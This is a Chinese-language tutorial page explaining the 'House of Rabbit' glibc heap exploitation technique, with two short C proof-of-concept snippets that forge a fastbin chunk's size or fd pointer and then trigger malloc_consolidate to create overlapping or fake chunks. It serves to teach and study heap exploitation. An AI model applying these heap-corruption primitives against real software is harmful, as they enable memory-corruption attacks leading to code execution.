# House of Rabbit

### 需求

1. 能够修改快速分配区块的 fd 指针或大小：这意味着您可以更改快速分配区块中的一个块的前向指针或其大小。

2. 能够触发 `malloc_consolidate`：这可以通过分配一个大块或合并顶部块来实现，从而强制堆合并块。

### 目标

1. 创建重叠块：使一个块与另一个块重叠，从而允许进一步的堆操作。

2. 伪造假块：欺骗分配器，在堆操作期间将伪造的块视为合法块。

## 攻击步骤

### POC 1：修改快速分配区块的大小

• 步骤 1：分配块

``````unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state``````
• 步骤 2: 释放块

``````free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050``````
• 步骤 3: 修改块大小

``chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])``
• 步骤 4: 触发 `malloc_consolidate`

``malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation``

### POC 2: 修改`fd`指针

• 步骤 1：分配块

``````unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050``````

• 步骤 2：创建伪造块

``````chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk``````
• 步骤 3: 释放 `chunk1`

``free(chunk1);  // Frees the chunk at 0x602000``

• 步骤 4：修改`chunk1``fd`

``chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2``

• 步骤 5: 触发 `malloc_consolidate`

``malloc(5000);  // Allocate a large chunk to trigger heap consolidation``

Last updated